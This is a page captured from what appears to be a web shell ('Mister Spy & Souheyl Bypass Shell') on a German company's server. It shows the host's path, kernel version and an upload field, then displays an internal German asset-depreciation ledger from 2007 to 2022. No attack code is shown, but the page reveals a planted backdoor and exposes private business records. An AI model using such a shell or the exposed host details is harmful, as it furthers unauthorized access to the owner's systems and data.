Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/web-klick.de/dsh/25_ift/99_bilanz/kn22/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/web-klick.de/dsh/25_ift/99_bilanz/kn22/0500.kto.html

<PRE>10-A11-0500:22                                     fc30f046f055               57.37

20070410        173.76  10-A11-0500-07C_13_buero-AN      13-D7f-6815                        173.76  Kuechenausstattung Buero, B17
20070411         10.06  10-A11-0500-07C_13_buero-AN      13-D7f-6815                        183.82  Deckenleuchten, B11
20070413        264.33  10-A11-0500-07C_13_buero-AN      13-D7f-6815                        448.15  Bueroteppich, B12
20070414        173.76  10-A11-0500-07C_13_buero-AN      13-D7f-6815                        621.91  Ausstattung Kueche Buero, B14
20070414         12.07  10-A11-0500-07C_13_buero-AN      13-D7f-6815                        633.98  Ausstattung Kueche Buero, B15
20070414         63.89  10-A11-0500-07C_13_buero-AN      13-D7f-6815                        697.87  Ausstattung Kueche Buero, B16
20070414         27.68  10-A11-0500-07C_13_buero-AN      13-D7f-6815                        725.55  Zubehoer Bueroteppich, B13
20070414        168.11  10-A11-0500-07C_13_buero-AN      13-D7f-6815                        893.66  Zubehoer Reparaturen, B17
20070420         35.70  10-A11-0500-07C_13_buero-AN      13-D7f-6815                        929.36  Reparatur Kueche, B19
20070421          3.34  10-A11-0500-07C_13_buero-AN      13-D7f-6815                        932.70  Ausstattung Buero, B23
20070421         72.75  10-A11-0500-07C_13_buero-AN      13-D7f-6815                       1005.45  Ausstattung Kueche Buero, B22
20070428         86.20  10-A11-0500-07C_13_buero-AN      13-D7f-6815                       1091.65  Kueche, B27
20070428         69.82  10-A11-0500-07C_13_buero-AN      13-D7f-6815                       1161.47  Reparaturzubehoer, B26
20070429        209.24  10-A11-0500-074_1_lexware-AN     13-D7c-6490-software              1370.71  Buchhaltungssoftware, B28
20070504        440.00  10-A11-0500-07C_13_buero-AN      13-D7f-6815                       1810.71  Bueroausstattung BA, B30
20070514         26.39  10-A11-0500-07C_13_buero-AN      13-D7f-6815                       1837.10  Ausstattung Buero, B32
20070521        330.21  10-A11-0500-075_1_beamer-AN      13-D7c-6490-technik               2167.31  Beamer, B35
20070521         24.37  10-A11-0500-07C_13_buero-AN      13-D7f-6815                       2191.68  Ausstattund Bad, B37
20070701         57.59  10-A11-0500-07C_13_buero-AN      13-D7f-6815                       2249.27  Ausstattung Buero, B72
20070701         87.31  10-A11-0500-07C_13_buero-AN      13-D7f-6815                       2336.58  Ausstattung Buero, B73
20070701         25.15  10-A11-0500-07C_13_buero-AN      13-D7f-6815                       2361.73  Ausstattung Buero, B75
20070701         25.51  10-A11-0500-07C_13_buero-AN      13-D7f-6815                       2387.24  Ausstattung Buero, B76
20070701         12.21  10-A11-0500-07C_13_buero-AN      13-D7f-6815                       2399.45  Ausstattung Kueche, B71
20070701         39.50  10-A11-0500-07C_13_buero-AN      13-D7f-6815                       2438.95  Austattung Buero, B74
20070709          6.29  10-A11-0500-07C_13_buero-AN      13-D7f-6815                       2445.24  Ausstattung Buero, B85
20070716         25.17  10-A11-0500-07C_13_buero-AN      13-D7f-6815                       2470.41  Bueroaustattung, B89
20070920         15.43  10-A11-0500-07C_13_buero-AN      13-D7f-6815                       2485.84  Bueroausstattung, B150
20070921          6.55  10-A11-0500-07C_13_buero-AN      13-D7f-6815                       2492.39  Bueroausstattung, B151
20070928         15.97  10-A11-0500-07C_13_buero-AN      13-D7f-6815                       2508.36  Bueroausstattung Kueche, B166
20070928         90.69  10-A11-0500-07C_13_buero-AN      13-D7f-6815                       2599.05  Bueroausstattung, B158
20071001        692.29  10-A11-0500-07C_13_buero-AN      13-D7f-6815                       3291.34  Bueroausstattung, B182
20071008         30.45  10-A11-0500-07C_13_buero-AN      13-D7f-6815                       3321.79  Ausstattung Buero, B204
20071108         23.00  10-A11-0500-07C_13_buero-AN      13-D7f-6815                       3344.79  Bueroausstattung, B269
20071117         30.12  10-A11-0500-07C_13_buero-AN      13-D7f-6815                       3374.91  Kuechenausstattung, B306
20071213          2.14  10-A11-0500-07C_13_buero-AN      13-D7f-6815                       3377.05  Badausstattung, B340
20071228       -209.24  10-A11-0500-074_1_lexware-AS     13-D6a-6220                       3167.81  Rest-Abschreibung, Kaufwert: 209.24
20071228       -330.21  10-A11-0500-075_1_beamer-AS      13-D6a-6220                       2837.60  Rest-Abschreibung, Kaufwert: 330.21
20071228        -18.19  10-A11-0500-07C_13_buero-AS      13-D6a-6220                       2819.41  Abschreibung (1/12)*, 1. Teil-Abschreibung (1/13), Kaufwert: 2837.60
20080105        101.32  10-A11-0500-08B_13_buero-AN      13-D7f-6815                       2920.73  Bueroausstattung, B12
20080111        166.03  10-A11-0500-08B_13_buero-AN      13-D7f-6815                       3086.76  Bueroausstattung, B16
20080312         37.39  10-A11-0500-08B_13_buero-AN      13-D7f-6815                       3124.15  Telefonzubehoer, B141
20080318        123.55  10-A11-0500-083_1_drucker-AN     13-D7c-6490-technik               3247.70  Drucker, B152
20080405         39.95  10-A11-0500-08B_13_buero-AN      13-D7f-6815                       3287.65  Buero HL Schrank, B196
20080625         50.64  10-A11-0500-08B_13_buero-AN      13-D7f-6815                       3338.29  Bueroausstattung Kue, B313
20080820         12.42  10-A11-0500-08B_13_buero-AN      13-D7f-6815                       3350.71  Buero HL, B397
20081015         17.01  10-A11-0500-08B_13_buero-AN      13-D7f-6815                       3367.72  Bueroausstattung HL, B476
20081107         72.94  10-A11-0500-08B_13_buero-AN      13-D7f-6815                       3440.66  Zubehoer, B517
20081228       -218.28  10-A11-0500-07C_13_buero-AS      13-D6a-6220                       3222.38  Abschreibung, 2. Teil-Abschreibung (1/13), Kaufwert: 2837.60
20081228       -123.55  10-A11-0500-083_1_drucker-AS     13-D6a-6220                       3098.83  Rest-Abschreibung, Kaufwert: 123.55
20081228         -6.38  10-A11-0500-08B_13_buero-AS      13-D6a-6220                       3092.45  Abschreibung (2/12)*, 1. Teil-Abschreibung (1/13), Kaufwert: 497.70
20091214        358.90  10-A11-0500-09C_8_buehne-AN      10-B23-1890-pri-10-B23-1800       3451.35  ++Aufnahmegeraet
20091214       1433.00  10-A11-0500-09C_8_buehne-AN      10-B23-1890-pri-10-B23-1800       4884.35  ++Lichtanlage
20091228       -218.28  10-A11-0500-07C_13_buero-AS      13-D6a-6220                       4666.07  Abschreibung, 3. Teil-Abschreibung (1/13), Kaufwert: 2837.60
20091228        -38.28  10-A11-0500-08B_13_buero-AS      13-D6a-6220                       4627.79  Abschreibung, 2. Teil-Abschreibung (1/13), Kaufwert: 497.70
20091228        -18.67  10-A11-0500-09C_8_buehne-AS      13-D6a-6220                       4609.12  Abschreibung (1/12)*, 1. Teil-Abschreibung (1/8), Kaufwert: 1791.90
20100107        172.35  10-A11-0500-101_1_lexware-AN     13-D7c-6490-technik               4781.47  RE Lexware, B8
20100804         79.92  10-A11-0500-108_1_lexware-AN     13-D7c-6490-technik               4861.39  LASTSCHRIFT ZAHLUNGSBELEG 0010154891 RE0626025579/06.10/95,10 09017 LEXWARE FINANCIAL OFF
20100916        117.63  10-A11-0500-109_3_mainboards-AN  13-D7c-6490-technik               4979.02  Zwei MAINBOARDS ACER ASPIRE ON EBAY-NUMMER 280559549691, STUECKZAHL 2
20101130        125.21  10-A11-0500-10B_1_abbyyocr-AN    13-D7c-6490-technik               5104.23  abbyy OCR
20101228       -218.28  10-A11-0500-07C_13_buero-AS      13-D6a-6220                       4885.95  Abschreibung, 4. Teil-Abschreibung (1/13), Kaufwert: 2837.60
20101228        -38.28  10-A11-0500-08B_13_buero-AS      13-D6a-6220                       4847.67  Abschreibung, 3. Teil-Abschreibung (1/13), Kaufwert: 497.70
20101228       -223.99  10-A11-0500-09C_8_buehne-AS      13-D6a-6220                       4623.68  Abschreibung, 2. Teil-Abschreibung (1/8), Kaufwert: 1791.90
20101228       -172.35  10-A11-0500-101_1_lexware-AS     13-D6a-6220                       4451.33  Rest-Abschreibung, Kaufwert: 172.35
20101228        -79.92  10-A11-0500-108_1_lexware-AS     13-D6a-6220                       4371.41  Rest-Abschreibung, Kaufwert: 79.92
20101228        -13.07  10-A11-0500-109_3_mainboards-AS  13-D6a-6220                       4358.34  Abschreibung (4/12)*, 1. Teil-Abschreibung (1/3), Kaufwert: 117.63
20101228       -125.21  10-A11-0500-10B_1_abbyyocr-AS    13-D6a-6220                       4233.13  Rest-Abschreibung, Kaufwert: 125.21
20110224        688.00  10-A11-0500-112_13_mishu-AN      13-D7f-6815                       4921.13  Aktivierung mishu_buerostuhl
20111024        368.91  10-A11-0500-11A_1_gx1-AN         13-D7c-6490-technik               5290.04  Aktivierung Smartphone I
20111024        368.91  10-A11-0500-11A_1_gx2-AN         13-D7c-6490-technik               5658.95  Aktivierung Smartphone II
20111228       -218.28  10-A11-0500-07C_13_buero-AS      13-D6a-6220                       5440.67  Abschreibung, 5. Teil-Abschreibung (1/13), Kaufwert: 2837.60
20111228        -38.28  10-A11-0500-08B_13_buero-AS      13-D6a-6220                       5402.39  Abschreibung, 4. Teil-Abschreibung (1/13), Kaufwert: 497.70
20111228       -223.99  10-A11-0500-09C_8_buehne-AS      13-D6a-6220                       5178.40  Abschreibung, 3. Teil-Abschreibung (1/8), Kaufwert: 1791.90
20111228        -39.21  10-A11-0500-109_3_mainboards-AS  13-D6a-6220                       5139.19  Abschreibung, 2. Teil-Abschreibung (1/3), Kaufwert: 117.63
20111228        -48.51  10-A11-0500-112_13_mishu-AS      13-D6a-6220                       5090.68  Abschreibung (11/12)*, 1. Teil-Abschreibung (1/13), Kaufwert: 688.00
20111228       -368.91  10-A11-0500-11A_1_gx1-AS         13-D6a-6220                       4721.77  Rest-Abschreibung, Kaufwert: 368.91
20111228       -368.91  10-A11-0500-11A_1_gx2-AS         13-D6a-6220                       4352.86  Rest-Abschreibung, Kaufwert: 368.91
20120131        209.24  10-A11-0500-121_1_notebook-AN    13-D7c-6490-technik               4562.10  Notebook Acer
20121228       -218.28  10-A11-0500-07C_13_buero-AS      13-D6a-6220                       4343.82  Abschreibung, 6. Teil-Abschreibung (1/13), Kaufwert: 2837.60
20121228        -38.28  10-A11-0500-08B_13_buero-AS      13-D6a-6220                       4305.54  Abschreibung, 5. Teil-Abschreibung (1/13), Kaufwert: 497.70
20121228       -223.99  10-A11-0500-09C_8_buehne-AS      13-D6a-6220                       4081.55  Abschreibung, 4. Teil-Abschreibung (1/8), Kaufwert: 1791.90
20121228        -39.21  10-A11-0500-109_3_mainboards-AS  13-D6a-6220                       4042.34  Abschreibung, 3. Teil-Abschreibung (1/3), Kaufwert: 117.63
20121228        -52.92  10-A11-0500-112_13_mishu-AS      13-D6a-6220                       3989.42  Abschreibung, 2. Teil-Abschreibung (1/13), Kaufwert: 688.00
20121228       -209.24  10-A11-0500-121_1_notebook-AS    13-D6a-6220                       3780.18  Rest-Abschreibung, Kaufwert: 209.24
20131228       -218.28  10-A11-0500-07C_13_buero-AS      13-D6a-6220                       3561.90  Abschreibung, 7. Teil-Abschreibung (1/13), Kaufwert: 2837.60
20131228        -38.28  10-A11-0500-08B_13_buero-AS      13-D6a-6220                       3523.62  Abschreibung, 6. Teil-Abschreibung (1/13), Kaufwert: 497.70
20131228       -223.99  10-A11-0500-09C_8_buehne-AS      13-D6a-6220                       3299.63  Abschreibung, 5. Teil-Abschreibung (1/8), Kaufwert: 1791.90
20131228        -26.14  10-A11-0500-109_3_mainboards-AS  13-D6a-6220                       3273.49  Rest-Abschreibung, Kaufwert: 117.63
20131228        -52.92  10-A11-0500-112_13_mishu-AS      13-D6a-6220                       3220.57  Abschreibung, 3. Teil-Abschreibung (1/13), Kaufwert: 688.00
20141228       -218.28  10-A11-0500-07C_13_buero-AS      13-D6a-6220                       3002.29  Abschreibung, 8. Teil-Abschreibung (1/13), Kaufwert: 2837.60
20141228        -38.28  10-A11-0500-08B_13_buero-AS      13-D6a-6220                       2964.01  Abschreibung, 7. Teil-Abschreibung (1/13), Kaufwert: 497.70
20141228       -223.99  10-A11-0500-09C_8_buehne-AS      13-D6a-6220                       2740.02  Abschreibung, 6. Teil-Abschreibung (1/8), Kaufwert: 1791.90
20141228        -52.92  10-A11-0500-112_13_mishu-AS      13-D6a-6220                       2687.10  Abschreibung, 4. Teil-Abschreibung (1/13), Kaufwert: 688.00
20151228       -218.28  10-A11-0500-07C_13_buero-AS      13-D6a-6220                       2468.82  Abschreibung, 9. Teil-Abschreibung (1/13), Kaufwert: 2837.60
20151228        -38.28  10-A11-0500-08B_13_buero-AS      13-D6a-6220                       2430.54  Abschreibung, 8. Teil-Abschreibung (1/13), Kaufwert: 497.70
20151228       -223.99  10-A11-0500-09C_8_buehne-AS      13-D6a-6220                       2206.55  Abschreibung, 7. Teil-Abschreibung (1/8), Kaufwert: 1791.90
20151228        -52.92  10-A11-0500-112_13_mishu-AS      13-D6a-6220                       2153.63  Abschreibung, 5. Teil-Abschreibung (1/13), Kaufwert: 688.00
20161228       -218.28  10-A11-0500-07C_13_buero-AS      13-D6a-6220                       1935.35  Abschreibung, 10. Teil-Abschreibung (1/13), Kaufwert: 2837.60
20161228        -38.28  10-A11-0500-08B_13_buero-AS      13-D6a-6220                       1897.07  Abschreibung, 9. Teil-Abschreibung (1/13), Kaufwert: 497.70
20161228       -223.99  10-A11-0500-09C_8_buehne-AS      13-D6a-6220                       1673.08  Abschreibung, 8. Teil-Abschreibung (1/8), Kaufwert: 1791.90
20161228        -52.92  10-A11-0500-112_13_mishu-AS      13-D6a-6220                       1620.16  Abschreibung, 6. Teil-Abschreibung (1/13), Kaufwert: 688.00
20171213       1635.93  10-A11-0500-17C_3_entwlap-AN     13-D7c-6490-computer              3256.09  Aktivierung Entwickler Laptop
20171228       -218.28  10-A11-0500-07C_13_buero-AS      13-D6a-6220                       3037.81  Abschreibung, 11. Teil-Abschreibung (1/13), Kaufwert: 2837.60
20171228        -38.28  10-A11-0500-08B_13_buero-AS      13-D6a-6220                       2999.53  Abschreibung, 10. Teil-Abschreibung (1/13), Kaufwert: 497.70
20171228       -205.30  10-A11-0500-09C_8_buehne-AS      13-D6a-6220                       2794.23  Rest-Abschreibung, Kaufwert: 1791.90
20171228        -52.92  10-A11-0500-112_13_mishu-AS      13-D6a-6220                       2741.31  Abschreibung, 7. Teil-Abschreibung (1/13), Kaufwert: 688.00
20171228        -45.44  10-A11-0500-17C_3_entwlap-AS     13-D6a-6220                       2695.87  Abschreibung (1/12)*, 1. Teil-Abschreibung (1/3), Kaufwert: 1635.93
20180322       1221.76  10-A11-0500-183_3_iphone-AN      13-D7c-6490-technik               3917.63  Aktivierung iphone
20181228       -218.28  10-A11-0500-07C_13_buero-AS      13-D6a-6220                       3699.35  Abschreibung, 12. Teil-Abschreibung (1/13), Kaufwert: 2837.60
20181228        -38.28  10-A11-0500-08B_13_buero-AS      13-D6a-6220                       3661.07  Abschreibung, 11. Teil-Abschreibung (1/13), Kaufwert: 497.70
20181228        -52.92  10-A11-0500-112_13_mishu-AS      13-D6a-6220                       3608.15  Abschreibung, 8. Teil-Abschreibung (1/13), Kaufwert: 688.00
20181228       -545.31  10-A11-0500-17C_3_entwlap-AS     13-D6a-6220                       3062.84  Abschreibung, 2. Teil-Abschreibung (1/3), Kaufwert: 1635.93
20181228       -339.38  10-A11-0500-183_3_iphone-AS      13-D6a-6220                       2723.46  Abschreibung (10/12)*, 1. Teil-Abschreibung (1/3), Kaufwert: 1221.76
20191228       -218.28  10-A11-0500-07C_13_buero-AS      13-D6a-6220                       2505.18  Abschreibung, 13. Teil-Abschreibung (1/13), Kaufwert: 2837.60
20191228        -38.28  10-A11-0500-08B_13_buero-AS      13-D6a-6220                       2466.90  Abschreibung, 12. Teil-Abschreibung (1/13), Kaufwert: 497.70
20191228        -52.92  10-A11-0500-112_13_mishu-AS      13-D6a-6220                       2413.98  Abschreibung, 9. Teil-Abschreibung (1/13), Kaufwert: 688.00
20191228       -545.31  10-A11-0500-17C_3_entwlap-AS     13-D6a-6220                       1868.67  Abschreibung, 3. Teil-Abschreibung (1/3), Kaufwert: 1635.93
20191228       -407.25  10-A11-0500-183_3_iphone-AS      13-D6a-6220                       1461.42  Abschreibung, 2. Teil-Abschreibung (1/3), Kaufwert: 1221.76
20201228       -200.05  10-A11-0500-07C_13_buero-AS      13-D6a-6220                       1261.37  Rest-Abschreibung, Kaufwert: 2837.60
20201228        -38.28  10-A11-0500-08B_13_buero-AS      13-D6a-6220                       1223.09  Abschreibung, 13. Teil-Abschreibung (1/13), Kaufwert: 497.70
20201228        -52.92  10-A11-0500-112_13_mishu-AS      13-D6a-6220                       1170.17  Abschreibung, 10. Teil-Abschreibung (1/13), Kaufwert: 688.00
20201228       -499.87  10-A11-0500-17C_3_entwlap-AS     13-D6a-6220                        670.30  Rest-Abschreibung, Kaufwert: 1635.93
20201228       -407.25  10-A11-0500-183_3_iphone-AS      13-D6a-6220                        263.05  Abschreibung, 3. Teil-Abschreibung (1/3), Kaufwert: 1221.76
20211228        -31.96  10-A11-0500-08B_13_buero-AS      13-D6a-6220                        231.09  Rest-Abschreibung, Kaufwert: 497.70
20211228        -52.92  10-A11-0500-112_13_mishu-AS      13-D6a-6220                        178.17  Abschreibung, 11. Teil-Abschreibung (1/13), Kaufwert: 688.00
20211228        -67.88  10-A11-0500-183_3_iphone-AS      13-D6a-6220                        110.29  Rest-Abschreibung, Kaufwert: 1221.76
20221228        -52.92  10-A11-0500-112_13_mishu-AS      13-D6a-6220                         57.37  Abschreibung, 12. Teil-Abschreibung (1/13), Kaufwert: 688.00

               57.37

074_1_lexware       0.00
074_1_lexware-AN      209.24
074_1_lexware-AS     -209.24

075_1_beamer        0.00
075_1_beamer-AN       330.21
075_1_beamer-AS      -330.21

07C_13_buero       -0.00
07C_13_buero-AN      2837.60
07C_13_buero-AS     -2837.60

083_1_drucker       0.00
083_1_drucker-AN      123.55
083_1_drucker-AS     -123.55

08B_13_buero        0.00
08B_13_buero-AN       497.70
08B_13_buero-AS      -497.70

09C_8_buehne        0.00
09C_8_buehne-AN      1791.90
09C_8_buehne-AS     -1791.90

101_1_lexware       0.00
101_1_lexware-AN      172.35
101_1_lexware-AS     -172.35

108_1_lexware       0.00
108_1_lexware-AN       79.92
108_1_lexware-AS      -79.92

109_3_mainboards    0.00
109_3_mainboards-AN   117.63
109_3_mainboards-AS  -117.63

10B_1_abbyyocr      0.00
10B_1_abbyyocr-AN     125.21
10B_1_abbyyocr-AS    -125.21

112_13_mishu       57.37
112_13_mishu-AN       688.00
112_13_mishu-AS      -630.63

11A_1_gx1           0.00
11A_1_gx1-AN          368.91
11A_1_gx1-AS         -368.91

11A_1_gx2           0.00
11A_1_gx2-AN          368.91
11A_1_gx2-AS         -368.91

121_1_notebook      0.00
121_1_notebook-AN     209.24
121_1_notebook-AS    -209.24

17C_3_entwlap       0.00
17C_3_entwlap-AN     1635.93
17C_3_entwlap-AS    -1635.93

183_3_iphone        0.00
183_3_iphone-AN      1221.76
183_3_iphone-AS     -1221.76
</PRE>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net